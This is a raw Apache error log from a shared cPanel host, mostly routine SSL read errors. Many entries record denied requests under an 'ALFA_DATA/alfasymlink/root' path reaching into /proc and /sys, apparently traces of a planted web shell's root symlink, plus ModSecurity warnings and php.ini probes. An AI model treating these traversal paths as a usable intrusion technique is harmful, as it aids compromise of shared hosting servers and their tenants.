[Sun Oct 25 08:08:46.209199 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 54.235.158.162:58728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/drivers/hpet/uevent
[Sun Oct 25 08:08:54.129555 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.217.82.254:33971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:09:06.142962 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 18.209.137.234:42560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:09:10.184854 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 184.73.167.217:13143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:09:14.118863 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 18.204.89.56:52583] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/driver/unbind
[Sun Oct 25 08:09:18.122304 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.204.253.129:46888] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:09:22.121018 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.204.150.196:57589] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:09:25.551582 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.206:32850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/hwcache_align
[Sun Oct 25 08:09:34.217303 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.239.85.139:55809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:09:42.162517 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.205.113.104:24675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:10:02.151083 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 52.3.102.51:37207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup4/device/physical_node/rom
[Sun Oct 25 08:10:06.161528 2026] [ssl:error] [pid 2822163:tid 2822163] (5)Input/output error: [client 3.210.223.61:47716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:10:10.321382 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 54.225.98.148:64466] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:10:13.369968 2026] [authz_core:error] [pid 2821699:tid 2821699] [client 150.107.36.82:33190] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 08:10:13.507422 2026] [core:crit] [pid 2820367:tid 2820367] (13)Permission denied: [client 150.107.36.82:33196] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 08:10:18.124727 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 23.21.179.120:24427] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/input5/event4/subsystem/input0/device/driver/unbind
[Sun Oct 25 08:10:42.134301 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 23.22.105.143:12791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:10:46.264913 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.221.105.234:53398] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:10:50.171775 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 35.170.205.140:46180] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:10:54.341692 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.144.185.255:7195] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:11:02.269902 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.214.176.44:28102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:11:06.153925 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.3.156.186:17766] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:11:10.150206 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.230.124.21:4835] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/event2/subsystem/input3/id/"] [unique_id "at3x3gYPMfHr0EMMDlnmRgAAABM"]
[Sun Oct 25 08:11:10.150258 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.230.124.21:4835] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/event2/subsystem/input3/id/"] [unique_id "at3x3gYPMfHr0EMMDlnmRgAAABM"]
[Sun Oct 25 08:11:18.136999 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.44.148.203:50441] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:11:26.136467 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.209.89.189:26986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:11:28.651138 2026] [authz_core:error] [pid 2815606:tid 2815606] [client 141.98.11.224:58298] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/
[Sun Oct 25 08:11:29.183351 2026] [authz_core:error] [pid 2815605:tid 2815605] [client 141.98.11.224:58449] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://sherwinpinturas.com/contacto/
[Sun Oct 25 08:11:30.155639 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 3.232.102.111:49027] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS3/subsystem/ttyS0/type
[Sun Oct 25 08:11:34.164013 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 18.205.213.231:11912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/drivers/ec/uevent
[Sun Oct 25 08:11:38.130759 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.2.58.41:7746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:11:54.125286 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.83.240.58:26807] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:06.912211 2026] [authz_core:error] [pid 2815602:tid 2815602] [client 150.107.36.82:43040] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 08:12:07.053731 2026] [core:crit] [pid 2822163:tid 2822163] (13)Permission denied: [client 150.107.36.82:43052] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 08:12:10.120883 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.200.58.199:1259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:18.142200 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 44.195.50.71:24065] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:22.242657 2026] [ssl:error] [pid 2826774:tid 2826774] (5)Input/output error: [client 3.231.193.38:34542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:26.140694 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.94.156.104:34921] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:30.128938 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 3.221.244.28:42458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:34.129027 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 23.21.250.48:24775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:38.161923 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.233.24.238:60740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:42.147404 2026] [ssl:error] [pid 2815599:tid 2815599] (22)Invalid argument: [client 34.192.67.98:54212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:12:54.304265 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.200.251.20:15366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:13:02.154183 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.214.251.19:30189] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:13:18.133074 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.222.190.107:5510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:13:22.141070 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.215.61.66:5597] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:13:30.137222 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.214.238.178:27120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:13:34.199588 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.206.193.60:7901] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:13:36.705320 2026] [authz_core:error] [pid 2815606:tid 2815606] [client 23.180.120.171:51423] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 08:13:45.655274 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 85.208.96.204:32776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:13:46.180204 2026] [core:error] [pid 2830261:tid 2830261] (13)Permission denied: [client 3.221.156.96:50261] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input3/device/driver/bind
[Sun Oct 25 08:13:50.231792 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 3.94.199.128:51540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/driver/bind
[Sun Oct 25 08:14:06.207180 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 52.204.81.148:23409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:14:14.171586 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 3.209.174.110:37756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:14:22.205807 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.225.24.180:26266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:14:34.177136 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 54.86.59.155:30597] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:14:34.177333 2026] [security2:error] [pid 2830261:tid 2830261] [client 54.86.59.155:30597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/power/wakeup_expire_count"] [unique_id "at3yqilnlNHXxHpyvzeTYQAAAAU"]
[Sun Oct 25 08:14:34.177518 2026] [security2:error] [pid 2830261:tid 2830261] [client 54.86.59.155:30597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/power/wakeup_expire_count"] [unique_id "at3yqilnlNHXxHpyvzeTYQAAAAU"]
[Sun Oct 25 08:14:50.165360 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 35.169.119.108:47745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:14:54.143255 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.3.102.51:60817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:15:02.184648 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 3.213.85.234:61819] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/memory6/subsystem/uevent
[Sun Oct 25 08:15:06.135668 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 34.239.197.197:11998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/shpchp/uevent
[Sun Oct 25 08:15:10.220875 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 100.29.34.97:55997] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:15:18.219870 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.156.55.147:45077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:15:30.252877 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.147.182.90:21722] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:15:38.184887 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 34.206.249.188:14504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:15:50.137346 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.147.182.90:46591] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:15:58.144299 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.223.232.55:40651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:16:10.159549 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 44.207.207.36:30688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:16:18.134651 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.233.24.238:55008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:16:22.135128 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 18.214.186.220:3235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:16:50.224680 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.45.92.83:31774] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:17:06.239522 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 34.226.89.140:62910] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:17:06.239804 2026] [security2:error] [pid 2820367:tid 2820367] [client 34.226.89.140:62910] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/tty47/uevent"] [unique_id "at3zQq6y10zADJ0W8jUhogAAAAA"]
[Sun Oct 25 08:17:06.239843 2026] [security2:error] [pid 2820367:tid 2820367] [client 34.226.89.140:62910] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/tty47/uevent"] [unique_id "at3zQq6y10zADJ0W8jUhogAAAAA"]
[Sun Oct 25 08:17:14.140613 2026] [core:error] [pid 2830261:tid 2830261] (13)Permission denied: [client 18.235.81.246:54680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory7/node0/compact
[Sun Oct 25 08:17:18.156254 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.210.213.220:55312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:17:30.135667 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.221.37.41:35555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:17:34.123607 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.144.185.255:17729] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:17:38.263595 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 35.168.238.50:12781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:17:42.262990 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 34.196.114.170:60098] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:17:50.146679 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.217.82.254:53767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:17:57.506472 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.11:36780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/loop/sections/__ksymtab_strings
[Sun Oct 25 08:18:30.125917 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.71.218.25:55626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:18:31.308498 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.208:37238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/aliases
[Sun Oct 25 08:18:42.174325 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 100.28.57.133:16018] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:18:50.178580 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.235.125.129:28616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:18:56.574650 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.13:52152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/validate
[Sun Oct 25 08:19:06.207924 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.44.148.203:45452] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:19:14.509593 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 44.194.134.53:12722] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:19:22.208607 2026] [security2:error] [pid 2815605:tid 2815605] [client 44.223.232.55:15509] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:06/physical_node/"] [unique_id "at3zygYPMfHr0EMMDlnmcwAAABM"]
[Sun Oct 25 08:19:22.208666 2026] [security2:error] [pid 2815605:tid 2815605] [client 44.223.232.55:15509] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:06/physical_node/"] [unique_id "at3zygYPMfHr0EMMDlnmcwAAABM"]
[Sun Oct 25 08:19:22.260707 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 203.159.90.219:64862] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 08:19:34.405224 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.83.180.239:35776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:19:42.235624 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 18.213.102.186:31634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:19:54.331915 2026] [security2:error] [pid 2815602:tid 2815602] [client 44.194.139.149:63610] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/memory21/"] [unique_id "at3z6ty-_GHm1dX7tKN4bwAAABA"]
[Sun Oct 25 08:19:54.331957 2026] [security2:error] [pid 2815602:tid 2815602] [client 44.194.139.149:63610] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/memory21/"] [unique_id "at3z6ty-_GHm1dX7tKN4bwAAABA"]
[Sun Oct 25 08:19:58.283344 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 52.21.62.139:3657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/uevent
[Sun Oct 25 08:20:06.235354 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.217.171.106:55685] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:20:10.240383 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 34.195.248.30:6367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:20:21.595724 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.199:63980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/reclaim_account
[Sun Oct 25 08:20:23.579508 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 185.191.171.6:51180] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/free_calls
[Sun Oct 25 08:20:28.931879 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 185.191.171.9:22634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:20:50.319243 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 34.236.135.14:34748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/driver/new_id
[Sun Oct 25 08:21:03.250444 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.202.233.37:24473] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:21:15.154285 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.225.24.180:15267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:21:22.405791 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.208.223.68:24710] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:21:26.302425 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 98.82.214.73:32592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:21:30.503323 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.204.89.12:44947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:21:38.370502 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.45.194.165:18977] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:21:42.423415 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.5.242.243:17640] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:21:46.623872 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 100.29.155.89:45690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:21:58.496944 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.22.87.224:24096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:22:06.321149 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 3.230.69.161:49184] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:22:10.548948 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 100.29.34.97:36831] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:22:18.834123 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.211.39.188:26616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:22:54.370247 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.234.197.175:27450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:23:06.757931 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.208.223.68:13904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:23:10.419562 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 35.169.240.53:53882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:23:26.532349 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.225.148.123:51120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:23:44.010889 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.16:42196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/share/selinux/packages/libcare.pp
[Sun Oct 25 08:23:47.694322 2026] [security2:error] [pid 2815602:tid 2815602] [client 43.165.197.116:60726] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at3009y-_GHm1dX7tKN4dwAAABA"]
[Sun Oct 25 08:23:47.695448 2026] [authz_core:error] [pid 2815602:tid 2815602] [client 43.165.197.116:60726] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 08:23:52.344040 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 85.208.96.208:14766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/store_user
[Sun Oct 25 08:24:10.559271 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 18.206.47.187:14355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:03/physical_node/subsystem/drivers/ata_generic/module/sections/__param
[Sun Oct 25 08:24:26.609163 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.3.104.214:44375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:24:34.502886 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 18.213.102.186:12334] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:24:38.593538 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 100.29.63.24:19827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:24:44.356185 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 185.191.171.16:15114] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:24:46.563859 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.219.81.66:13603] AH02013: coalesce failed to read from data bucket
